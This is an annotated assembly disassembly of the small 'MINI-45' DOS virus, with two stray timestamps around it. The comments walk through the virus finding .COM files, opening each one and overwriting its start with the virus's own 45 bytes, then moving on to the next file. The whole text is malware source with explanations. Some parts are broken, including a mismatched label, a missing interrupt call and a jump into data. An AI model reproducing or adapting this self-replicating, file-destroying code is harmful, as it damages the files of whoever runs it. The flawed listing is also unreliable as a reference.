2022-08-21 09:07:57 +00:00
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;***************************************************************
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; DISASSEMBLY of the MINI-45 VIRUS
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;***************************************************************
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; FIND .COM FILE TO INFECT
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;***************************************************************
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MOV DX, 127h ;filehandle search criteria-27bytes
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;away from beg. of file
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MOV AH, 4Eh ;setup for Dos function-find file
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INT 21h ;search for first file match
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JB FILESPEC ;jump below and return
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;****************************************************************
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; OPEN FILE
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;****************************************************************
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FIRST_FILE:
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MOV DX, 009Eh ;pointer to asciiz file spec
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MOV AX, 3D02h ;moving 3d into ah=call dos to open file
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;moving 02 into al=we want read\write
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;access
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INT 21h ;call dos function and open file.
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;file handle found is put in ax register
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JB NEXT_MATCH ;search for next match
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;****************************************************************
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; WRITE VIRUS CODE TO FILE
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;****************************************************************
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XCHG AX,BX ;put retrieved file handle from 3d open
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;call into bx so it can be used for
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;write function.
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MOV DX, 0100h ;point to buffer of data to write, i.e.
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;to myself
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MOV CX, 002Dh ;#of bytes to write. 45d bytes
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MOV AH, 40h ;setup write to file dos function
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INT 21h ;write to file indicated in bx
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;******************************************************************
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; CLOSE FILE
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;******************************************************************
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MOV AH, 3Eh ;setup for dos function to close file
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INT 21h ;close file
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;******************************************************************
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; FIND NEXT FILE MATCH
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;******************************************************************
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NEXT MATCH:
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MOV AH, 4Fh ;search for next file match
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JMP FIRST_FILE ;return above
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;******************************************************************
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;
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FILESPEC:
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db '*.com'
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db 00
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2021-01-12 23:49:21 +00:00
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